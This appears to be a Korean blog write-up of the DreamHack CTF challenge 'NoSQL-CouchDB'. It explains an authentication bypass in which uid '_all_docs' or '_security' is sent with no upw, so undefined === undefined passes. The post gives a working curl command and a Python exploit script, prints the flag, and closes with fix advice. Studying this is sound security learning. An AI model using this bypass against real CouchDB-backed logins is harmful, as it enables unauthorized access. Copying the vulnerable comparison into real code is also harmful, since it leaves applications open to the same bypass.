2026-06-04·1분 읽기·
로그인 비교식 result.upw === req.body.upw 의 빈틈. uid에 CouchDB 특수 엔드포인트 _all_docs 를 넣으면 응답에 upw 필드가 없어 undefined가 되고, upw를 아예 보내지 않으면 undefined === undefined 로 비밀번호 없이 인증을 통과해 FLAG를 가져온다.
이 글이 도움이 됐나요?
문제: DreamHack — NoSQL-CouchDB 분류: Web (NoSQL Injection) 난이도: 🥈 Silver 4 FLAG:
DH{f350aad835d053891385b1bb9cfbc1c318ab29f0}
| 항목 | 내용 |
|---|---|
| 문제명 | NoSQL-CouchDB |
| 난이도 | 🥈 Silver 4 |
| 분류 | Web (NoSQL Injection) |
| 제공 | Node.js(Express) + CouchDB 소스, docker-compose.yml |
| 핵심 기법 | CouchDB 특수 엔드포인트 + undefined === undefined 인증 우회 |
Express 로그인 폼 하나에 CouchDB 백엔드. uid/upw를 받아 인증하고, 통과하면 FLAG를 돌려준다.
정상 계정의 비밀번호는 모른다. 그런데 비교 로직에 빈틈이 있어서 비밀번호 없이 통과할 수 있다.

볼 건 /auth 핸들러 하나뿐이다.
const nano = require('nano')(`http://${process.env.COUCHDB_USER}:${process.env.COUCHDB_PASSWORD}@couchdb:5984`);
const users = nano.db.use('users');
app.use(express.json());
app.post('/auth', function(req, res) {
users.get(req.body.uid, function(err, result) {
if (err) {
res.send('error');
return;
}
if (result.upw === req.body.upw) {
res.send(`FLAG: ${process.env.FLAG}`);
} else {
res.send('fail');
}
});
});흐름은 단순하다.
users.get(uid) 로 users DB에서 ID가 uid인 문서를 가져온다.
그 문서의 upw와 내가 보낸 upw를 ===로 비교한다.
같으면 FLAG, 아니면 fail, 문서를 못 찾으면 error.
express.json()이 켜져 있고 프론트가 application/json으로 보내기 때문에 uid/upw는 내가 원하는 값으로 넣을 수 있다.
admin 비밀번호를 모르니 정공법은 막힌다. admin / admin을 넣어보면 fail이 돌아온다.


여기서 error가 아니라 fail이라는 게 정보다. users.get('admin')이 성공했다는 뜻 — admin 문서는 실제로 존재한다. 비밀번호만 틀린 거다.
노릴 곳은 비교식이다. result.upw === req.body.upw. 양쪽이 똑같이 undefined면 이 식은 그냥 true가 된다.
upw를 지운다req.body.upw를 undefined로 만드는 건 쉽다. JSON 바디에서 upw 키를 빼면 그만이다.
문제는 result.upw다. 정상 문서를 가져오면 upw가 채워져 있다. upw가 없는 응답을 받아내야 한다.
여기서 nano의 users.get(name)이 내부적으로 GET /users/<name> HTTP 요청이라는 점을 쓴다. CouchDB는 <name> 자리에 문서 ID 말고도 _all_docs, _security 같은 DB 단위 특수 엔드포인트를 받는다. 이것들은 200으로 정상 응답하지만, 일반 문서가 아니라서 upw 같은 사용자 필드가 없다.
GET /users/_all_docs의 응답을 보면:
{"total_rows":1,"offset":0,"rows":[
{"id":"admin","key":"admin","value":{"rev":"1-e11934ccec52d4d86c0c5d65e155d3bc"}}
]}upw가 어디에도 없다. 즉 result.upw는 undefined.
이제 uid에 _all_docs를 넣고 upw는 보내지 않으면:
result.upw = undefined (특수 엔드포인트 응답엔 upw 없음)
req.body.upw = undefined (애초에 안 보냄)
undefined === undefined → true → FLAG

_all_docs 대신 _security를 넣어도 똑같이 통과한다. 응답이 {"members":...} 형태라 여기에도 upw가 없기 때문이다. "upw 필드만 없으면 되는" 엔드포인트는 다 후보다.
curl 한 줄이면 끝난다. upw 키가 없다는 게 포인트 — null이나 빈 문자열을 넣으면 undefined가 아니라서 안 된다.
curl -s -X POST http://host3.dreamhack.games:10573/auth \
-H 'Content-Type: application/json' \
-d '{"uid":"_all_docs"}'
스크립트로 정리하면 이렇다. _all_docs와 _security 둘 다 같은 FLAG가 나온다.
import json
import urllib.request
URL = "http://host3.dreamhack.games:10573/auth"
def auth(body):
data = json.dumps(body).encode()
req = urllib.request.Request(
URL, data=data, headers={"Content-Type": "application/json"}, method="POST"
)
with urllib.request.urlopen(req, timeout=15) as r:
return r.read().decode()
# upw 키 자체를 빼야 undefined 가 된다
for uid in ("_all_docs",
uid='_all_docs' -> FLAG: DH{f350aad835d053891385b1bb9cfbc1c318ab29f0}
uid='_security' -> FLAG: DH{f350aad835d053891385b1bb9cfbc1c318ab29f0}브라우저에서도 마찬가지다. 로그인 폼은 upw가 required라 폼 제출로는 안 되지만, 콘솔에서 upw 없이 _all_docs를 fetch로 던지면 모달에 FLAG가 그대로 뜬다.

FLAG: DH{f350aad835d053891385b1bb9cfbc1c318ab29f0}타입을 봐도 못 막는 비교
===는 값과 타입을 같이 본다. 그래서 안전해 보이지만, 양쪽이 똑같이 undefined면 그대로 통과시킨다. 사용자 입력을 "없을 수도 있는 값"과 바로 비교하면 이 구멍이 열린다.
문서 ID가 곧 URL 경로
CouchDB는 문서 접근이 그대로 HTTP 경로(/db/<id>)다. 문서 ID를 검증 없이 사용자 입력으로 받으면 _all_docs·_security 같은 메타 엔드포인트로 새어 나간다. NoSQL에서 흔히 보는 패턴이다.
고치는 쪽
DB에서 꺼낸 값이 실제로 있는지 먼저 본다 — typeof result.upw === 'string' 정도면 undefined 통과를 막는다. 더해서 uid가 정상 문서 ID 형식인지(언더스코어로 시작하는 예약 이름 거르기) 검증하면 특수 엔드포인트 접근 자체가 닫힌다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…